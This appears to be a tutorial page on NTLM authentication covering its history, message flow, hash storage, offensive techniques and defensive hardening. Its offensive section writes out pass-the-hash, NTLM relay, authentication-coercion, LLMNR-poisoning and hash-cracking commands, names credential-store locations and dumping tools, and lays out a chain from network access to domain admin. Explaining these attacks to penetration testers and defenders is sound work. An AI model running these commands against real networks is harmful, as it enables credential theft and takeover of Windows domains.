NTLM Authentication¶

Understanding NTLM's Role in Modern Windows¶

NTLM (NT LAN Manager) is the legacy authentication protocol that preceded Kerberos in Windows environments. While Microsoft has pushed Kerberos as the primary authentication mechanism since Windows 2000, NTLM remains deeply embedded in Windows infrastructure and continues to be a critical attack vector in 2025.

History and Evolution¶

The LAN Manager Days (1987-1993):¶

In 1987, Microsoft and IBM co-developed OS/2, which introduced LAN Manager (LM) - the first network authentication protocol for their operating systems. LM used a simple but fatally flawed approach: it split passwords into two 7-character chunks, converted them to uppercase, and hashed each separately using DES.

Security researchers quickly identified critical weaknesses: * Password case sensitivity was lost * The 7+7 split meant two separate hash-cracking targets * No salt was used, enabling rainbow table attacks * DES encryption was already showing its age

Enter NTLM (1993):¶

With Windows NT 3.1 in 1993, Microsoft introduced NT LAN Manager (NTLM) as a replacement. While better than LM, it still had design limitations that would haunt Windows security for decades:

Used MD4 hashing (already considered weak)
No salt in the hash
Pass-the-hash attacks became possible
Challenge-response protocol could be relayed

NTLMv2 - The "Fixed" Version (1998):¶

Windows NT 4.0 SP4 introduced NTLMv2 in 1998, attempting to address NTLM's vulnerabilities:

Introduced HMAC-MD5 for the challenge-response
Added client challenges for mutual authentication
Included timestamp to prevent replay attacks
Stronger session key generation

Despite improvements, NTLMv2 inherited fundamental design flaws from its predecessor.

Why NTLM Still Exists in 2025:¶

Even after 25+ years of Kerberos being the default, NTLM refuses to die:

Workgroup environments (no domain)
IP address-based connections (Kerberos requires DNS)
Legacy application compatibility
Fallback mechanism when Kerberos fails
Cross-forest authentication in some scenarios

NTLM Authentication Flow¶

The Three-Way Handshake:¶

NTLM follows a challenge-response authentication model with three distinct phases:

Phase 1: Negotiate¶

The client initiates authentication by sending a NEGOTIATE_MESSAGE to the server containing:

Negotiation flags (supported features)
Domain name (optional)
Workstation name (optional)
OS version information

Type 1 Message Structure:
- Signature: "NTLMSSP\0"
- Message Type: 0x00000001
- Flags: Feature negotiation
- Domain/Workstation fields

Phase 2: Challenge¶

The server responds with a CHALLENGE_MESSAGE containing:

A random 8-byte challenge (nonce)
Target information (domain/server details)
Supported security features
Timestamp (NTLMv2 only)

Type 2 Message Structure:
- Signature: "NTLMSSP\0"
- Message Type: 0x00000002
- Challenge: 8-byte random value
- Flags: Negotiated features
- Target Info: AV_PAIRS structure

Phase 3: Authenticate¶

The client proves knowledge of the password by sending an AUTHENTICATE_MESSAGE:

Username and domain
Response to the server's challenge
Session key (encrypted)
Workstation name

Type 3 Message Structure:
- Signature: "NTLMSSP\0"
- Message Type: 0x00000003
- LM Response: Legacy compatibility
- NT Response: Challenge response
- Domain/User/Workstation names
- Session Key (optional)

NTLMv1 vs NTLMv2 Response Calculation:¶

NTLMv1 (Deprecated but still found):

DES(NT-Hash, Challenge) = Response

The NT hash is split into three 7-byte keys used with DES to encrypt the 8-byte challenge.

NTLMv2 (Modern default):

HMAC-MD5(NT-Hash, (username + domain)) = NTLMv2-Hash
HMAC-MD5(NTLMv2-Hash, (Challenge + Blob)) = NTProofStr
Response = NTProofStr + Blob

The blob includes: * Timestamp * Client nonce * Target information from server * Various AV_PAIRS

The NT Hash: Format and Storage¶

Password to Hash Conversion:¶

1. Password: "Password123"
2. Convert to UTF-16LE: 50 00 61 00 73 00 73 00...
3. MD4 Hash: 8846f7eaee8fb117ad06bdd830b7586c

This is the NT hash - stored in the SAM database and used for NTLM authentication.

Where NTLM Hashes Live:¶

Local Accounts (SAM Database):

Location: %SystemRoot%\System32\config\SAM
Encryption: SYSKEY + RC4
Access: SYSTEM privileges required

Domain Accounts (NTDS.dit):

Location: %SystemRoot%\NTDS\ntds.dit
Encryption: Database encryption key
Access: Domain Controller + SYSTEM

Memory (LSASS.exe):

Process: lsass.exe
Location: RAM during active sessions
Access: SYSTEM/Admin privileges
Tools: Mimikatz, ProcDump, Nanodump

NTLM in Modern Offensive Security (2025)¶

Pass-the-Hash (PtH):¶

NTLM's fundamental flaw: the hash is the password. No plaintext needed.

How it works:

# Using Impacket
impacket-psexec -hashes :8846f7eaee8fb117ad06bdd830b7586c administrator@10.10.10.10

# Using CrackMapExec
crackmapexec smb 10.10.10.0/24 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c

The NT hash is injected into the NTLM authentication flow, completely bypassing password requirements.

NTLM Relay Attacks:¶

The most devastating NTLM vulnerability in 2025. Because NTLM uses challenge-response, attackers can relay authentication attempts.

Attack flow:

1. Victim authenticates to Attacker (captured NTLM handshake)
2. Attacker relays to Target server
3. Target accepts authentication as Victim
4. Attacker gains Victim's access level

Modern relay techniques:

# SMB to LDAP relay (RBCD attack)
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access

# HTTP to SMB relay
ntlmrelayx.py -t smb://fileserver.domain.local -smb2support

# Multi-relay to multiple targets
ntlmrelayx.py -tf targets.txt -socks

Coercion Attacks (2024-2025):¶

Force NTLM authentication to attacker-controlled services:

PetitPotam (MS-EFSRPC):

python3 PetitPotam.py attacker-ip target-dc-ip

PrinterBug (MS-RPRN):

python3 printerbug.py domain/user:password@dc-ip attacker-ip

DFSCoerce (MS-DFSNM):

dfscoerce.py -u user -p password -d domain target-ip attacker-ip

NTLM Hash Cracking:¶

Despite MD4's weakness, complex passwords remain difficult to crack:

# Hashcat - Rule-based attack
hashcat -m 1000 -a 0 hashes.txt rockyou.txt -r best64.rule

# Hashcat - Mask attack for format
hashcat -m 1000 hashes.txt -a 3 ?u?l?l?l?l?d?d?d?s

# John the Ripper
john --format=nt hashes.txt --wordlist=rockyou.txt

Modern hash rates (2025): * RTX 4090: ~200 GH/s (200 billion MD4 hashes/second) * 8x RTX 4090: ~1.6 TH/s * Cloud cracking: Cost-effective for bulk operations

Responder + Hash Capture:¶

NTLM's broadcast nature allows passive hash capture:

# Responder - Poison LLMNR/NBT-NS/mDNS
responder -I eth0 -wF

# Inveigh (PowerShell version)
Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y

When users mistype share names, NTLM authentication is broadcast - captured by attackers.

Mitigation Bypass (SMB Signing):¶

SMB signing prevents relay attacks, but:

# Check for SMB signing
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt

# Target machines without signing
ntlmrelayx.py -tf targets.txt -socks

NTLM vs Kerberos: Technical Comparison¶

Feature	NTLM	Kerberos
Authentication Model	Challenge-Response	Ticket-Based
Encryption	MD4/MD5	AES256/AES128
Mutual Auth	NTLMv2 only (limited)	Yes (built-in)
Pass-the-Hash	Vulnerable	Requires ticket
Relay	Vulnerable	Requires unconstrained delegation
Domain Required	No	Yes
DNS Required	No	Yes
Cross-Domain	Limited	Full trust support
Session Keys	Weak derivation	Strong KDC-generated
Ticket Lifetime	N/A (per-session)	Configurable (default 10h)

Defending Against NTLM Attacks in 2025¶

Disable NTLM (Where Possible):¶

Group Policy:

Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options
→ Network security: Restrict NTLM: Incoming NTLM traffic (Deny all accounts)

Registry:

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LmCompatibilityLevel" -Value 5

Enable SMB Signing (Required, Not Negotiated):¶

# Domain Controllers
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\LanmanServer\Parameters" -Name "RequireSecuritySignature" -Value 1

# All systems
Set-SmbServerConfiguration -RequireSecuritySignature $true -Force

LDAP Signing and Channel Binding:¶

# Require LDAP signing
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters" -Name "LDAPServerIntegrity" -Value 2

# Enable channel binding
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters" -Name "LdapEnforceChannelBinding" -Value 2

Extended Protection for Authentication (EPA):¶

Prevents NTLM relay to web services:

# IIS Extended Protection
Set-WebConfigurationProperty -Filter 'system.webServer/security/authentication/windowsAuthentication' -PSPath 'IIS:\Sites\Default Web Site' -Name "extendedProtection.tokenChecking" -Value "Require"

Offensive Security Perspective: Why NTLM Matters¶

For penetration testers and red teamers, NTLM remains a critical attack surface:

Initial Access: Responder/Inveigh for hash capture
Lateral Movement: Pass-the-Hash with CrackMapExec
Privilege Escalation: NTLM relay to LDAP (RBCD attacks)
Coercion: Force authentication for relay/capture
Credential Access: Extract hashes from SAM/LSASS

Even in 2025, most enterprises cannot completely disable NTLM due to legacy systems. This perpetuates a 30-year-old vulnerability that shows no signs of disappearing.

The fundamental lesson: NTLM's challenge-response design makes the hash equivalent to the password - a security principle violation that continues to enable devastating attacks decades after its introduction.

NTLM in the Attack Chain¶

Understanding NTLM's role in modern attack paths:

1. Initial Compromise
   └→ Responder captures NTLMv2 hash

2. Hash Cracking
   └→ Hashcat breaks weak password

3. Lateral Movement
   └→ Pass-the-Hash with CrackMapExec

4. Coercion Attack
   └→ Force DC to authenticate (PetitPotam)

5. NTLM Relay
   └→ Relay to LDAPS for RBCD

6. Domain Admin
   └→ DCSync with delegated access

This attack chain leverages NTLM at multiple stages - highlighting why it remains a cornerstone of Active Directory exploitation.